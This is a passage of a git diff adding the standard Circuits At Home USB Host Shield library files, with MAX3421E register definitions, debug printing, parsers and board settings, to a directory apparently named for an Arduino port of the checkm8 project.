0xa0 //20<<3 + +/* IOPINS1 Bits */ +#define bmGPOUT0 0x01 +#define bmGPOUT1 0x02 +#define bmGPOUT2 0x04 +#define bmGPOUT3 0x08 +#define bmGPIN0 0x10 +#define bmGPIN1 0x20 +#define bmGPIN2 0x40 +#define bmGPIN3 0x80 + +#define rIOPINS2 0xa8 //21<<3 +/* IOPINS2 Bits */ +#define bmGPOUT4 0x01 +#define bmGPOUT5 0x02 +#define bmGPOUT6 0x04 +#define bmGPOUT7 0x08 +#define bmGPIN4 0x10 +#define bmGPIN5 0x20 +#define bmGPIN6 0x40 +#define bmGPIN7 0x80 + +#define rGPINIRQ 0xb0 //22<<3 +/* GPINIRQ Bits */ +#define bmGPINIRQ0 0x01 +#define bmGPINIRQ1 0x02 +#define bmGPINIRQ2 0x04 +#define bmGPINIRQ3 0x08 +#define bmGPINIRQ4 0x10 +#define bmGPINIRQ5 0x20 +#define bmGPINIRQ6 0x40 +#define bmGPINIRQ7 0x80 + +#define rGPINIEN 0xb8 //23<<3 +/* GPINIEN Bits */ +#define bmGPINIEN0 0x01 +#define bmGPINIEN1 0x02 +#define bmGPINIEN2 0x04 +#define bmGPINIEN3 0x08 +#define bmGPINIEN4 0x10 +#define bmGPINIEN5 0x20 +#define bmGPINIEN6 0x40 +#define bmGPINIEN7 0x80 + +#define rGPINPOL 0xc0 //24<<3 +/* GPINPOL Bits */ +#define bmGPINPOL0 0x01 +#define bmGPINPOL1 0x02 +#define bmGPINPOL2 0x04 +#define bmGPINPOL3 0x08 +#define bmGPINPOL4 0x10 +#define bmGPINPOL5 0x20 +#define bmGPINPOL6 0x40 +#define bmGPINPOL7 0x80 + +#define rHIRQ 0xc8 //25<<3 +/* HIRQ Bits */ +#define bmBUSEVENTIRQ 0x01 // indicates BUS Reset Done or BUS Resume +#define bmRWUIRQ 0x02 +#define bmRCVDAVIRQ 0x04 +#define bmSNDBAVIRQ 0x08 +#define bmSUSDNIRQ 0x10 +#define bmCONDETIRQ 0x20 +#define bmFRAMEIRQ 0x40 +#define bmHXFRDNIRQ 0x80 + +#define rHIEN 0xd0 //26<<3 + +/* HIEN Bits */ +#define bmBUSEVENTIE 0x01 +#define bmRWUIE 0x02 +#define bmRCVDAVIE 0x04 +#define bmSNDBAVIE 0x08 +#define bmSUSDNIE 0x10 +#define bmCONDETIE 0x20 +#define bmFRAMEIE 0x40 +#define bmHXFRDNIE 0x80 + +#define rMODE 0xd8 //27<<3 + +/* MODE Bits */ +#define bmHOST 0x01 +#define bmLOWSPEED 0x02 +#define bmHUBPRE 0x04 +#define bmSOFKAENAB 0x08 +#define bmSEPIRQ 0x10 +#define bmDELAYISO 0x20 +#define bmDMPULLDN 0x40 +#define bmDPPULLDN 0x80 + +#define rPERADDR 0xe0 //28<<3 + +#define rHCTL 0xe8 //29<<3 +/* HCTL Bits */ +#define bmBUSRST 0x01 +#define bmFRMRST 0x02 +#define bmSAMPLEBUS 0x04 +#define bmSIGRSM 0x08 +#define bmRCVTOG0 0x10 +#define bmRCVTOG1 0x20 +#define bmSNDTOG0 0x40 +#define bmSNDTOG1 0x80 + +#define rHXFR 0xf0 //30<<3 +/* Host transfer token values for writing the HXFR register (R30) */ +/* OR this bit field with the endpoint number in bits 3:0 */ +#define tokSETUP 0x10 // HS=0, ISO=0, OUTNIN=0, SETUP=1 +#define tokIN 0x00 // HS=0, ISO=0, OUTNIN=0, SETUP=0 +#define tokOUT 0x20 // HS=0, ISO=0, OUTNIN=1, SETUP=0 +#define tokINHS 0x80 // HS=1, ISO=0, OUTNIN=0, SETUP=0 +#define tokOUTHS 0xA0 // HS=1, ISO=0, OUTNIN=1, SETUP=0 +#define tokISOIN 0x40 // HS=0, ISO=1, OUTNIN=0, SETUP=0 +#define tokISOOUT 0x60 // HS=0, ISO=1, OUTNIN=1, SETUP=0 + +#define rHRSL 0xf8 //31<<3 + +/* HRSL Bits */ +#define bmRCVTOGRD 0x10 +#define bmSNDTOGRD 0x20 +#define bmKSTATUS 0x40 +#define bmJSTATUS 0x80 +#define bmSE0 0x00 //SE0 - disconnect state +#define bmSE1 0xc0 //SE1 - illegal state + +/* Host error result codes, the 4 LSB's in the HRSL register */ +#define hrSUCCESS 0x00 +#define hrBUSY 0x01 +#define hrBADREQ 0x02 +#define hrUNDEF 0x03 +#define hrNAK 0x04 +#define hrSTALL 0x05 +#define hrTOGERR 0x06 +#define hrWRONGPID 0x07 +#define hrBADBC 0x08 +#define hrPIDERR 0x09 +#define hrPKTERR 0x0A +#define hrCRCERR 0x0B +#define hrKERR 0x0C +#define hrJERR 0x0D +#define hrTIMEOUT 0x0E +#define hrBABBLE 0x0F + +#define MODE_FS_HOST (bmDPPULLDN|bmDMPULLDN|bmHOST|bmSOFKAENAB) +#define MODE_LS_HOST (bmDPPULLDN|bmDMPULLDN|bmHOST|bmLOWSPEED|bmSOFKAENAB) + + +#endif //_max3421e_h_ diff --git a/checkm8_arduino/lib/hostshield/message.cpp b/checkm8_arduino/lib/hostshield/message.cpp new file mode 100644 index 0000000..15cd866 --- /dev/null +++ b/checkm8_arduino/lib/hostshield/message.cpp @@ -0,0 +1,123 @@ +/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. + +This program is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + +Contact information +------------------- + +Circuits At Home, LTD +Web : http://www.circuitsathome.com +e-mail : support@circuitsathome.com + */ + +#include "../../include/Usb.h" +// 0x80 is the default (i.e. trace) to turn off set this global to something lower. +// this allows for 126 other debugging levels. +// TO-DO: Allow assignment to a different serial port by software +int UsbDEBUGlvl = 0x80; + +void E_Notifyc(char c, int lvl) { + if(UsbDEBUGlvl < lvl) return; +#if defined(ARDUINO) && ARDUINO >=100 + USB_HOST_SERIAL.print(c); +#else + USB_HOST_SERIAL.print(c, BYTE); +#endif + //USB_HOST_SERIAL.flush(); +} + +void E_Notify(char const * msg, int lvl) { + if(UsbDEBUGlvl < lvl) return; + if(!msg) return; + char c; + + while((c = pgm_read_byte(msg++))) E_Notifyc(c, lvl); +} + +void E_NotifyStr(char const * msg, int lvl) { + if(UsbDEBUGlvl < lvl) return; + if(!msg) return; + char c; + + while((c = *msg++)) E_Notifyc(c, lvl); +} + +void E_Notify(uint8_t b, int lvl) { + if(UsbDEBUGlvl < lvl) return; +#if defined(ARDUINO) && ARDUINO >=100 + USB_HOST_SERIAL.print(b); +#else + USB_HOST_SERIAL.print(b, DEC); +#endif + //USB_HOST_SERIAL.flush(); +} + +void E_Notify(double d, int lvl) { + if(UsbDEBUGlvl < lvl) return; + USB_HOST_SERIAL.print(d); + //USB_HOST_SERIAL.flush(); +} + +#ifdef DEBUG_USB_HOST + +void NotifyFailGetDevDescr(void) { + Notify(PSTR("\r\ngetDevDescr "), 0x80); +} + +void NotifyFailSetDevTblEntry(void) { + Notify(PSTR("\r\nsetDevTblEn "), 0x80); +} + +void NotifyFailGetConfDescr(void) { + Notify(PSTR("\r\ngetConf "), 0x80); +} + +void NotifyFailSetConfDescr(void) { + Notify(PSTR("\r\nsetConf "), 0x80); +} + +void NotifyFailGetDevDescr(uint8_t reason) { + NotifyFailGetDevDescr(); + NotifyFail(reason); +} + +void NotifyFailSetDevTblEntry(uint8_t reason) { + NotifyFailSetDevTblEntry(); + NotifyFail(reason); + +} + +void NotifyFailGetConfDescr(uint8_t reason) { + NotifyFailGetConfDescr(); + NotifyFail(reason); +} + +void NotifyFailSetConfDescr(uint8_t reason) { + NotifyFailSetConfDescr(); + NotifyFail(reason); +} + +void NotifyFailUnknownDevice(uint16_t VID, uint16_t PID) { + Notify(PSTR("\r\nUnknown Device Connected - VID: "), 0x80); + D_PrintHex (VID, 0x80); + Notify(PSTR(" PID: "), 0x80); + D_PrintHex (PID, 0x80); +} + +void NotifyFail(uint8_t rcode) { + D_PrintHex (rcode, 0x80); + Notify(PSTR("\r\n"), 0x80); +} +#endif diff --git a/checkm8_arduino/lib/hostshield/message.h b/checkm8_arduino/lib/hostshield/message.h new file mode 100644 index 0000000..71c0f7b --- /dev/null +++ b/checkm8_arduino/lib/hostshield/message.h @@ -0,0 +1,85 @@ +/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. + +This program is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + +Contact information +------------------- + +Circuits At Home, LTD +Web : http://www.circuitsathome.com +e-mail : support@circuitsathome.com + */ +#if !defined(_usb_h_) || defined(__MESSAGE_H__) +#error "Never include message.h directly; include Usb.h instead" +#else +#define __MESSAGE_H__ + +extern int UsbDEBUGlvl; + +void E_Notify(char const * msg, int lvl); +void E_Notify(uint8_t b, int lvl); +void E_NotifyStr(char const * msg, int lvl); +void E_Notifyc(char c, int lvl); + +#ifdef DEBUG_USB_HOST +#define Notify E_Notify +#define NotifyStr E_NotifyStr +#define Notifyc E_Notifyc +void NotifyFailGetDevDescr(uint8_t reason); +void NotifyFailSetDevTblEntry(uint8_t reason); +void NotifyFailGetConfDescr(uint8_t reason); +void NotifyFailSetConfDescr(uint8_t reason); +void NotifyFailGetDevDescr(void); +void NotifyFailSetDevTblEntry(void); +void NotifyFailGetConfDescr(void); +void NotifyFailSetConfDescr(void); +void NotifyFailUnknownDevice(uint16_t VID, uint16_t PID); +void NotifyFail(uint8_t rcode); +#else +#define Notify(...) ((void)0) +#define NotifyStr(...) ((void)0) +#define Notifyc(...) ((void)0) +#define NotifyFailGetDevDescr(...) ((void)0) +#define NotifyFailSetDevTblEntry(...) ((void)0) +#define NotifyFailGetConfDescr(...) ((void)0) +#define NotifyFailGetDevDescr(...) ((void)0) +#define NotifyFailSetDevTblEntry(...) ((void)0) +#define NotifyFailGetConfDescr(...) ((void)0) +#define NotifyFailSetConfDescr(...) ((void)0) +#define NotifyFailUnknownDevice(...) ((void)0) +#define NotifyFail(...) ((void)0) +#endif + +template +void ErrorMessage(uint8_t level, char const * msg, ERROR_TYPE rcode = 0) { +#ifdef DEBUG_USB_HOST + Notify(msg, level); + Notify(PSTR(": "), level); + D_PrintHex (rcode, level); + Notify(PSTR("\r\n"), level); +#endif +} + +template +void ErrorMessage(char const * msg __attribute__((unused)), ERROR_TYPE rcode __attribute__((unused)) = 0) { +#ifdef DEBUG_USB_HOST + Notify(msg, 0x80); + Notify(PSTR(": "), 0x80); + D_PrintHex (rcode, 0x80); + Notify(PSTR("\r\n"), 0x80); +#endif +} + +#endif // __MESSAGE_H__ diff --git a/checkm8_arduino/lib/hostshield/parsetools.cpp b/checkm8_arduino/lib/hostshield/parsetools.cpp new file mode 100644 index 0000000..773b113 --- /dev/null +++ b/checkm8_arduino/lib/hostshield/parsetools.cpp @@ -0,0 +1,74 @@ +/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. + +This program is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + +Contact information +------------------- + +Circuits At Home, LTD +Web : http://www.circuitsathome.com +e-mail : support@circuitsathome.com + */ +#include "../../include/Usb.h" + +bool MultiByteValueParser::Parse(uint8_t **pp, uint16_t *pcntdn) { + if(!pBuf) { + Notify(PSTR("Buffer pointer is NULL!\r\n"), 0x80); + return false; + } + for(; countDown && (*pcntdn); countDown--, (*pcntdn)--, (*pp)++) + pBuf[valueSize - countDown] = (**pp); + + if(countDown) + return false; + + countDown = valueSize; + return true; +} + +bool PTPListParser::Parse(uint8_t **pp, uint16_t *pcntdn, PTP_ARRAY_EL_FUNC pf, const void *me) { + switch(nStage) { + case 0: + pBuf->valueSize = lenSize; + theParser.Initialize(pBuf); + nStage = 1; + + case 1: + if(!theParser.Parse(pp, pcntdn)) + return false; + + arLen = 0; + arLen = (pBuf->valueSize >= 4) ? *((uint32_t*)pBuf->pValue) : (uint32_t)(*((uint16_t*)pBuf->pValue)); + arLenCntdn = arLen; + nStage = 2; + + case 2: + pBuf->valueSize = valSize; + theParser.Initialize(pBuf); + nStage = 3; + + case 3: + for(; arLenCntdn; arLenCntdn--) { + if(!theParser.Parse(pp, pcntdn)) + return false; + + if(pf) + pf(pBuf, (arLen - arLenCntdn), me); + } + + nStage = 0; + } + return true; +} diff --git a/checkm8_arduino/lib/hostshield/parsetools.h b/checkm8_arduino/lib/hostshield/parsetools.h new file mode 100644 index 0000000..f752536 --- /dev/null +++ b/checkm8_arduino/lib/hostshield/parsetools.h @@ -0,0 +1,152 @@ +/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. + +This program is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + +Contact information +------------------- + +Circuits At Home, LTD +Web : http://www.circuitsathome.com +e-mail : support@circuitsathome.com + */ + +#if !defined(_usb_h_) || defined(__PARSETOOLS_H__) +#error "Never include parsetools.h directly; include Usb.h instead" +#else +#define __PARSETOOLS_H__ + +struct MultiValueBuffer { + uint8_t valueSize; + void *pValue; + +public: + + MultiValueBuffer() : valueSize(0), pValue(NULL) { + }; +} __attribute__((packed)); + +class MultiByteValueParser { + uint8_t * pBuf; + uint8_t countDown; + uint8_t valueSize; + +public: + + MultiByteValueParser() : pBuf(NULL), countDown(0), valueSize(0) { + }; + + const uint8_t* GetBuffer() { + return pBuf; + }; + + void Initialize(MultiValueBuffer * const pbuf) { + pBuf = (uint8_t*)pbuf->pValue; + countDown = valueSize = pbuf->valueSize; + }; + + bool Parse(uint8_t **pp, uint16_t *pcntdn); +}; + +class ByteSkipper { + uint8_t *pBuf; + uint8_t nStage; + uint16_t countDown; + +public: + + ByteSkipper() : pBuf(NULL), nStage(0), countDown(0) { + }; + + void Initialize(MultiValueBuffer *pbuf) { + pBuf = (uint8_t*)pbuf->pValue; + countDown = 0; + }; + + bool Skip(uint8_t **pp, uint16_t *pcntdn, uint16_t bytes_to_skip) { + switch(nStage) { + case 0: + countDown = bytes_to_skip; + nStage++; + case 1: + for(; countDown && (*pcntdn); countDown--, (*pp)++, (*pcntdn)--); + + if(!countDown) + nStage = 0; + }; + return (!countDown); + }; +}; + +// Pointer to a callback function triggered for each element of PTP array when used with PTPArrayParser +typedef void (*PTP_ARRAY_EL_FUNC)(const MultiValueBuffer * const p, uint32_t count, const void *me); + +class PTPListParser { +public: + + enum ParseMode { + modeArray, modeRange/*, modeEnum*/ + }; + +private: + uint8_t nStage; + uint8_t enStage; + + uint32_t arLen; + uint32_t arLenCntdn; + + uint8_t lenSize; // size of the array length field in bytes + uint8_t valSize; // size of the array element in bytes + + MultiValueBuffer *pBuf; + + // The only parser for both size and array element parsing + MultiByteValueParser theParser; + + uint8_t /*ParseMode*/ prsMode; + +public: + + PTPListParser() : + nStage(0), + enStage(0), + arLen(0), + arLenCntdn(0), + lenSize(0), + valSize(0), + pBuf(NULL), + prsMode(modeArray) { + }; + + void Initialize(const uint8_t len_size, const uint8_t val_size, MultiValueBuffer * const p, const uint8_t mode = modeArray) { + pBuf = p; + lenSize = len_size; + valSize = val_size; + prsMode = mode; + + if(prsMode == modeRange) { + arLenCntdn = arLen = 3; + nStage = 2; + } else { + arLenCntdn = arLen = 0; + nStage = 0; + } + enStage = 0; + theParser.Initialize(p); + }; + + bool Parse(uint8_t **pp, uint16_t *pcntdn, PTP_ARRAY_EL_FUNC pf, const void *me = NULL); +}; + +#endif // __PARSETOOLS_H__ diff --git a/checkm8_arduino/lib/hostshield/printhex.h b/checkm8_arduino/lib/hostshield/printhex.h new file mode 100644 index 0000000..1261a28 --- /dev/null +++ b/checkm8_arduino/lib/hostshield/printhex.h @@ -0,0 +1,91 @@ +/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. + +This program is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + +Contact information +------------------- + +Circuits At Home, LTD +Web : http://www.circuitsathome.com +e-mail : support@circuitsathome.com + */ + +#if !defined(_usb_h_) || defined(__PRINTHEX_H__) +#error "Never include printhex.h directly; include Usb.h instead" +#else +#define __PRINTHEX_H__ + +void E_Notifyc(char c, int lvl); + +template +void PrintHex(T val, int lvl) { + int num_nibbles = sizeof (T) * 2; + + do { + char v = 48 + (((val >> (num_nibbles - 1) * 4)) & 0x0f); + if(v > 57) v += 7; + E_Notifyc(v, lvl); + } while(--num_nibbles); +} + +template +void PrintBin(T val, int lvl) { + for(T mask = (((T)1) << ((sizeof (T) << 3) - 1)); mask; mask >>= 1) + if(val & mask) + E_Notifyc('1', lvl); + else + E_Notifyc('0', lvl); +} + +template +void SerialPrintHex(T val) { + int num_nibbles = sizeof (T) * 2; + + do { + char v = 48 + (((val >> (num_nibbles - 1) * 4)) & 0x0f); + if(v > 57) v += 7; + USB_HOST_SERIAL.print(v); + } while(--num_nibbles); +} + +template +void PrintHex2(Print *prn, T val) { + T mask = (((T)1) << (((sizeof (T) << 1) - 1) << 2)); + + while(mask > 1) { + if(val < mask) + prn->print("0"); + + mask >>= 4; + } + prn->print((T)val, HEX); +} + +template void D_PrintHex(T val __attribute__((unused)), int lvl __attribute__((unused))) { +#ifdef DEBUG_USB_HOST + PrintHex (val, lvl); +#endif +} + +template +void D_PrintBin(T val, int lvl) { +#ifdef DEBUG_USB_HOST + PrintBin (val, lvl); +#endif +} + + + +#endif // __PRINTHEX_H__ diff --git a/checkm8_arduino/lib/hostshield/settings.h b/checkm8_arduino/lib/hostshield/settings.h new file mode 100644 index 0000000..8cda7aa --- /dev/null +++ b/checkm8_arduino/lib/hostshield/settings.h @@ -0,0 +1,215 @@ +/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. + +This program is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + +Contact information +------------------- + +Circuits At Home, LTD +Web : http://www.circuitsathome.com +e-mail : support@circuitsathome.com + */ + +#ifndef USB_HOST_SHIELD_SETTINGS_H +#define USB_HOST_SHIELD_SETTINGS_H +#include "macros.h" + +//////////////////////////////////////////////////////////////////////////////// +// SPI Configuration +//////////////////////////////////////////////////////////////////////////////// +#ifndef USB_SPI +#define USB_SPI SPI +//#define USB_SPI SPI1 +#endif + +//////////////////////////////////////////////////////////////////////////////// +// DEBUGGING +//////////////////////////////////////////////////////////////////////////////// + +/* Set this to 1 to activate serial debugging */ +#define ENABLE_UHS_DEBUGGING 0 + +/* This can be used to select which serial port to use for debugging if + * multiple serial ports are available. + * For example Serial3. + */ +#ifndef USB_HOST_SERIAL +#define USB_HOST_SERIAL Serial +#endif + +//////////////////////////////////////////////////////////////////////////////// +// Manual board activation +//////////////////////////////////////////////////////////////////////////////// + +/* Set this to 1 if you are using an Arduino Mega ADK board with MAX3421e built-in */ +#define USE_UHS_MEGA_ADK 0 // If you are using Arduino 1.5.5 or newer there is no need to do this manually + +/* Set this to 1 if you are using a Black Widdow */ +#define USE_UHS_BLACK_WIDDOW 0 + +/* Set this to a one to use the xmem2 lock. This is needed for multitasking and threading */ +#define USE_XMEM_SPI_LOCK 0 + +//////////////////////////////////////////////////////////////////////////////// +// Wii IR camera +//////////////////////////////////////////////////////////////////////////////// + +/* Set this to 1 to activate code for the Wii IR camera */ +#define ENABLE_WII_IR_CAMERA 0 + +//////////////////////////////////////////////////////////////////////////////// +// MASS STORAGE +//////////////////////////////////////////////////////////////////////////////// +// <<<<<<<<<<<<<<<< IMPORTANT >>>>>>>>>>>>>>> +// Set this to 1 to support single LUN devices, and save RAM. -- I.E. thumb drives. +// Each LUN needs ~13 bytes to be able to track the state of each unit. +#ifndef MASS_MAX_SUPPORTED_LUN +#define MASS_MAX_SUPPORTED_LUN 8 +#endif + +//////////////////////////////////////////////////////////////////////////////// +// Set to 1 to use the faster spi4teensy3 driver. +//////////////////////////////////////////////////////////////////////////////// +#ifndef USE_SPI4TEENSY3 +#define USE_SPI4TEENSY3 1 +#endif + +// Disabled on the Teensy LC, as it is incompatible for now +#if defined(__MKL26Z64__) +#undef USE_SPI4TEENSY3 +#define USE_SPI4TEENSY3 0 +#endif + +//////////////////////////////////////////////////////////////////////////////// +// AUTOMATIC Settings +//////////////////////////////////////////////////////////////////////////////// + +// No user serviceable parts below this line. +// DO NOT change anything below here unless you are a developer! + +#include "version_helper.h" + +#if defined(__GNUC__) && defined(__AVR__) +#ifndef GCC_VERSION +#define GCC_VERSION (__GNUC__ * 10000 + __GNUC_MINOR__ * 100 + __GNUC_PATCHLEVEL__) +#endif +#if GCC_VERSION < 40602 // Test for GCC < 4.6.2 +#ifdef PROGMEM +#undef PROGMEM +#define PROGMEM __attribute__((section(".progmem.data"))) // Workaround for http://gcc.gnu.org/bugzilla/show_bug.cgi?id=34734#c4 +#ifdef PSTR +#undef PSTR +#define PSTR(s) (__extension__({static const char __c[] PROGMEM = (s); &__c[0];})) // Copied from pgmspace.h in avr-libc source +#endif +#endif +#endif +#endif + +#if !defined(DEBUG_USB_HOST) && ENABLE_UHS_DEBUGGING +#define DEBUG_USB_HOST +#endif + +#if !defined(WIICAMERA) && ENABLE_WII_IR_CAMERA +#define WIICAMERA +#endif + +// To use some other locking (e.g. freertos), +// define XMEM_ACQUIRE_SPI and XMEM_RELEASE_SPI to point to your lock and unlock. +// NOTE: NO argument is passed. You have to do this within your routine for +// whatever you are using to lock and unlock. +#if !defined(XMEM_ACQUIRE_SPI) +#if USE_XMEM_SPI_LOCK || defined(USE_MULTIPLE_APP_API) +#include +#else +#define XMEM_ACQUIRE_SPI() (void(0)) +#define XMEM_RELEASE_SPI() (void(0)) +#endif +#endif + +#if !defined(EXT_RAM) && defined(EXT_RAM_STACK) || defined(EXT_RAM_HEAP) +#include +#else +#define EXT_RAM 0 +#endif + +#if defined(CORE_TEENSY) && defined(KINETISK) +#define USING_SPI4TEENSY3 USE_SPI4TEENSY3 +#else +#define USING_SPI4TEENSY3 0 +#endif + +#if ((defined(ARDUINO_SAM_DUE) && defined(__SAM3X8E__)) || defined(__ARDUINO_X86__) || ARDUINO >= 10600) && !USING_SPI4TEENSY3 +#include "../../include/SPI.h" // Use the Arduino SPI library for the Arduino Due, Intel Galileo 1 & 2, Intel Edison or if the SPI library with transaction is available +#endif +#ifdef RBL_NRF51822 +#include +#include +#define SPI SPI_Master +#define MFK_CASTUINT8T (uint8_t) // RBLs return type for sizeof needs casting to uint8_t +#endif +#if defined(__PIC32MX__) || defined(__PIC32MZ__) +#include <../../../../hardware/pic32/libraries/SPI/SPI.h> // Hack to use the SPI library +#endif + +#if defined(ESP8266) || defined(ESP32) +#define MFK_CASTUINT8T (uint8_t) // ESP return type for sizeof needs casting to uint8_t +#endif + +#ifdef STM32F4 +#include "stm32f4xx_hal.h" +extern SPI_HandleTypeDef SPI_Handle; // Needed to be declared in your main.cpp +#endif + +// Fix defines on Arduino Due +#ifdef ARDUINO_SAM_DUE +#ifdef tokSETUP +#undef tokSETUP +#endif +#ifdef tokIN +#undef tokIN +#endif +#ifdef tokOUT +#undef tokOUT +#endif +#ifdef tokINHS +#undef tokINHS +#endif +#ifdef tokOUTHS +#undef tokOUTHS +#endif +#endif + +// Set defaults +#ifndef MFK_CASTUINT8T +#define MFK_CASTUINT8T +#endif + +// Workaround issue: https://github.com/esp8266/Arduino/issues/2078 +#ifdef ESP8266 +#undef PROGMEM +#define PROGMEM +#undef PSTR +#define PSTR(s) (s) +#undef pgm_read_byte +#define pgm_read_byte(addr) (*reinterpret_cast(addr)) +#undef pgm_read_word +#define pgm_read_word(addr) (*reinterpret_cast(addr)) +#endif + +#ifdef ARDUINO_ESP8266_WIFIO +#error "This board is currently not supported" +#endif + +#endif /* SETTINGS_H */ diff --git a/checkm8_arduino/lib/hostshield/sink_parser.h b/checkm8_arduino/lib/hostshield/sink_parser.h new file mode 100644 index 0000000..62a9983 --- /dev/null +++ b/checkm8_arduino/lib/hostshield/sink_parser.h @@ -0,0 +1,49 @@ +/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. + +This program is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + +Contact information +------------------- + +Circuits At Home, LTD +Web : http://www.circuitsathome.com +e-mail : support@circuitsathome.com + */ + +#if !defined(_usb_h_) || defined(__SINK_PARSER_H__) +#error "Never include hexdump.h directly; include Usb.h instead" +#else +#define __SINK_PARSER_H__ + +extern int UsbDEBUGlvl; + +// This parser does absolutely nothing with the data, just swallows it. + +template +class SinkParser : public BASE_CLASS { +public: + + SinkParser() { + }; + + void Initialize() { + }; + + void Parse(const LEN_TYPE len, const uint8_t *pbuf, const OFFSET_TYPE &offset) { + }; +}; + + +#endif // __HEXDUMP_H__ diff --git a/checkm8_arduino/lib/hostshield/usb_ch9.h b/checkm8_arduino/lib/hostshield/usb_ch9.h new file mode 100644 index 0000000..8b5e503 --- /dev/null +++ b/checkm8_arduino/lib/hostshield/usb_ch9.h @@ -0,0 +1,173 @@ +/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. + +This program is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + +Contact information +------------------- + +Circuits At Home, LTD +Web : http://www.circuitsathome.com +e-mail : support@circuitsathome.com + */ + +#if !defined(_usb_h_) || defined(_ch9_h_) +#error "Never include usb_ch9.h directly; include Usb.h instead" +#else + +/* USB chapter 9 structures */ +#define _ch9_h_ + +/* Misc.USB constants */ +#define DEV_DESCR_LEN 18 //device descriptor length +#define CONF_DESCR_LEN 9 //configuration descriptor length +#define INTR_DESCR_LEN 9 //interface descriptor length +#define EP_DESCR_LEN 7 //endpoint descriptor length + +/* Standard Device Requests */ + +#define USB_REQUEST_GET_STATUS 0 // Standard Device Request - GET STATUS +#define USB_REQUEST_CLEAR_FEATURE 1 // Standard Device Request - CLEAR FEATURE +#define USB_REQUEST_SET_FEATURE 3 // Standard Device Request - SET FEATURE +#define USB_REQUEST_SET_ADDRESS 5 // Standard Device Request - SET ADDRESS +#define USB_REQUEST_GET_DESCRIPTOR 6 // Standard Device Request - GET DESCRIPTOR +#define USB_REQUEST_SET_DESCRIPTOR 7 // Standard Device Request - SET DESCRIPTOR +#define USB_REQUEST_GET_CONFIGURATION 8 // Standard Device Request - GET CONFIGURATION +#define USB_REQUEST_SET_CONFIGURATION 9 // Standard Device Request - SET CONFIGURATION +#define USB_REQUEST_GET_INTERFACE 10 // Standard Device Request - GET INTERFACE +#define USB_REQUEST_SET_INTERFACE 11 // Standard Device Request - SET INTERFACE +#define USB_REQUEST_SYNCH_FRAME 12 // Standard Device Request - SYNCH FRAME + +#define USB_FEATURE_ENDPOINT_HALT 0 // CLEAR/SET FEATURE - Endpoint Halt +#define USB_FEATURE_DEVICE_REMOTE_WAKEUP 1 // CLEAR/SET FEATURE - Device remote wake-up +#define USB_FEATURE_TEST_MODE 2 // CLEAR/SET FEATURE - Test mode + +/* Setup Data Constants */ + +#define 